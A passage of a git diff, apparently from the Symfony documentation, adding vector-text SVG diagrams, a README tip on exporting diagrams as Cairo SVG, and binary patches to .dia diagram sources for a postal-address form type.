+  <use xlink:href="#glyph0-16" x="164.441298" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="173.280273" y="259.490723"/>
+  <use xlink:href="#glyph0-14" x="182.058485" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="188.113444" y="259.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.3 10.932422 C 24.134375 10.932422 24 11.066797 24 11.232422 L 24 13.817773 C 24 13.983398 24.134375 14.117773 24.3 14.117773 L 29.7 14.117773 C 29.865625 14.117773 30 13.983398 30 13.817773 L 30 11.232422 C 30 11.066797 29.865625 10.932422 29.7 10.932422 Z M 24.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="489.339844" y="246.791504"/>
+  <use xlink:href="#glyph0-8" x="498.951118" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="507.77002" y="246.791504"/>
+  <use xlink:href="#glyph0-19" x="513.357856" y="246.791504"/>
+  <use xlink:href="#glyph0-10" x="522.298557" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="530.690484" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="539.61084" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="545.198676" y="246.791504"/>
+  <use xlink:href="#glyph0-9" x="549.608127" y="246.791504"/>
+  <use xlink:href="#glyph0-12" x="556.842014" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="564.969998" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="570.557834" y="246.791504"/>
+  <use xlink:href="#glyph0-2" x="574.967285" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="583.745497" y="246.791504"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-18" x="493.285156" y="272.189941"/>
+  <use xlink:href="#glyph0-2" x="498.710232" y="272.189941"/>
+  <use xlink:href="#glyph0-24" x="507.488444" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="515.169108" y="272.189941"/>
+  <use xlink:href="#glyph0-5" x="523.561035" y="272.189941"/>
+  <use xlink:href="#glyph0-6" x="532.481391" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="536.789117" y="272.189941"/>
+  <use xlink:href="#glyph0-14" x="544.023003" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="549.590495" y="272.189941"/>
+  <use xlink:href="#glyph0-12" x="557.982422" y="272.189941"/>
+  <use xlink:href="#glyph0-18" x="566.110406" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="571.535482" y="272.189941"/>
+  <use xlink:href="#glyph0-25" x="579.927409" y="272.189941"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 33.3 10.932422 C 33.134375 10.932422 33 11.066797 33 11.232422 L 33 13.817773 C 33 13.983398 33.134375 14.117773 33.3 14.117773 L 38.7 14.117773 C 38.865625 14.117773 39 13.983398 39 13.817773 L 39 11.232422 C 39 11.066797 38.865625 10.932422 38.7 10.932422 Z M 33.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="669.339844" y="246.791504"/>
+  <use xlink:href="#glyph0-8" x="678.951118" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="687.77002" y="246.791504"/>
+  <use xlink:href="#glyph0-19" x="693.357856" y="246.791504"/>
+  <use xlink:href="#glyph0-10" x="702.298557" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="710.690484" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="719.61084" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="725.198676" y="246.791504"/>
+  <use xlink:href="#glyph0-9" x="729.608127" y="246.791504"/>
+  <use xlink:href="#glyph0-12" x="736.842014" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="744.969998" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="750.557834" y="246.791504"/>
+  <use xlink:href="#glyph0-2" x="754.967285" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="763.745497" y="246.791504"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="695.21875" y="272.189941"/>
+  <use xlink:href="#glyph0-8" x="702.086697" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="710.905599" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="717.793891" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="724.682183" y="272.189941"/>
+  <use xlink:href="#glyph0-7" x="733.07411" y="272.189941"/>
+  <use xlink:href="#glyph0-7" x="739.942057" y="272.189941"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.75 0.7375 L 8.95 0.7375 C 9.529883 0.7375 10 1.2625 10 1.909961 C 10 2.557422 9.529883 3.082422 8.95 3.082422 L 4.75 3.082422 C 4.170117 3.082422 3.7 2.557422 3.7 1.909961 C 3.7 1.2625 4.170117 0.7375 4.75 0.7375 Z M 4.75 0.7375 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="110.1875" y="47.186035"/>
+  <use xlink:href="#glyph0-10" x="119.148275" y="47.186035"/>
+  <use xlink:href="#glyph0-26" x="127.377441" y="47.186035"/>
+  <use xlink:href="#glyph0-8" x="136.155653" y="47.186035"/>
+  <use xlink:href="#glyph0-10" x="144.974555" y="47.186035"/>
+  <use xlink:href="#glyph0-7" x="153.366482" y="47.186035"/>
+  <use xlink:href="#glyph0-18" x="160.234429" y="47.186035"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13.3 10.932422 C 13.134375 10.932422 13 11.066797 13 11.232422 L 13 13.817773 C 13 13.983398 13.134375 14.117773 13.3 14.117773 L 20.752539 14.117773 C 20.918164 14.117773 21.052539 13.983398 21.052539 13.817773 L 21.052539 11.232422 C 21.052539 11.066797 20.918164 10.932422 20.752539 10.932422 Z M 13.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="294.84375" y="259.490723"/>
+  <use xlink:href="#glyph0-14" x="302.077637" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="307.645128" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="316.037055" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="324.165039" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="329.590115" y="259.490723"/>
+  <use xlink:href="#glyph0-27" x="337.982042" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="344.971788" y="259.490723"/>
+  <use xlink:href="#glyph0-24" x="353.75" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="361.430664" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="369.822591" y="259.490723"/>
+  <use xlink:href="#glyph0-21" x="378.742947" y="259.490723"/>
+  <use xlink:href="#glyph0-22" x="383.477376" y="259.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 42.3 10.932422 C 42.134375 10.932422 42 11.066797 42 11.232422 L 42 13.817773 C 42 13.983398 42.134375 14.117773 42.3 14.117773 L 51.7 14.117773 C 51.865625 14.117773 52 13.983398 52 13.817773 L 52 11.232422 C 52 11.066797 51.865625 10.932422 51.7 10.932422 Z M 42.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-2" x="849.046875" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="857.825087" y="259.490723"/>
+  <use xlink:href="#glyph0-17" x="866.745443" y="259.490723"/>
+  <use xlink:href="#glyph0-8" x="876.356717" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="885.175618" y="259.490723"/>
+  <use xlink:href="#glyph0-19" x="890.763455" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="899.704156" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="908.096083" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="917.016439" y="259.490723"/>
+  <use xlink:href="#glyph0-4" x="922.604275" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="927.013726" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="934.247613" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="942.375597" y="259.490723"/>
+  <use xlink:href="#glyph0-4" x="947.963433" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="952.372884" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="961.151096" y="259.490723"/>
+  <use xlink:href="#glyph0-28" x="970.071452" y="259.490723"/>
+  <use xlink:href="#glyph0-8" x="978.768283" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="987.587185" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="994.475477" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="1001.36377" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="1009.755697" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="1016.623644" y="259.490723"/>
+  <use xlink:href="#glyph0-21" x="1023.491591" y="259.490723"/>
+  <use xlink:href="#glyph0-22" x="1028.22602" y="259.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.89668 3.131836 L 6.942578 4.333789 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.692773 4.343359 L 6.961719 4.833398 L 7.192383 4.324414 Z M 6.692773 4.343359 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.019141 8.167187 L 7.00957 10.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.75957 10.332031 L 7.007422 10.833008 L 7.25957 10.33418 Z M 6.75957 10.332031 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.050195 12.525195 L 12.4 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.4 12.775195 L 12.9 12.525195 L 12.4 12.275195 Z M 12.4 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.102734 12.525195 L 23.399805 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.399805 12.775195 L 23.899805 12.525195 L 23.399805 12.275195 Z M 23.399805 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.050391 12.525195 L 32.399609 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 32.399609 12.775195 L 32.899609 12.525195 L 32.399609 12.275195 Z M 32.399609 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 39.029297 12.525195 L 41.400586 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.400586 12.775195 L 41.900586 12.525195 L 41.400586 12.275195 Z M 41.400586 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 47 14.167188 L 47 16.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 46.75 16.333008 L 47 16.833008 L 47.25 16.333008 Z M 46.75 16.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.049414 23.525195 L 14.420703 23.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 14.420703 23.775195 L 14.920703 23.525195 L 14.420703 23.275195 Z M 14.420703 23.775195 " transform="matrix(20,0,0,20,1,1)"/>
+</g>
+</svg>
diff --git a/_images/sources/README.md b/_images/sources/README.md
index 9e40e0ac884..8ca7538bf5d 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -27,6 +27,12 @@ Saving and Exporting the Diagram
 * Save the original diagram in `*.dia` format in `_images/sources/<folder-name>`;
 * Export the diagram to SVG format and save it in `_images/<folder-name>`.
 
+Important: choose "Cairo Scalable Vector Graphics (.svg)" format instead of
+plain " Scalable Vector Graphics (.svg)" because the former is the only format
+that transforms text into vector shapes (resulting file is larger in size, but
+it's truly portable because text is displayed the same even if you don't have
+some fonts installed).
+
 Including the Diagram in the Symfony Docs
 -----------------------------------------
 
diff --git a/_images/sources/form/form-custom-type-postal-address-fragment-names.dia b/_images/sources/form/form-custom-type-postal-address-fragment-names.dia
index aebdadb41701a5dbfc9f99f809b3ed9135447dc8..ca12fcdeadc0fbb8284f50fcfea9d02882ddd183 100644
GIT binary patch
delta 2563
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
Zvzrg)2m3S0{OQey{{#3*-tK?4008#P6gB_=

delta 2561
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
X55))jGfn;3&4>R3yQW{Yf3^SsFW(c5

diff --git a/_images/sources/form/form-custom-type-postal-address.dia b/_images/sources/form/form-custom-type-postal-address.dia
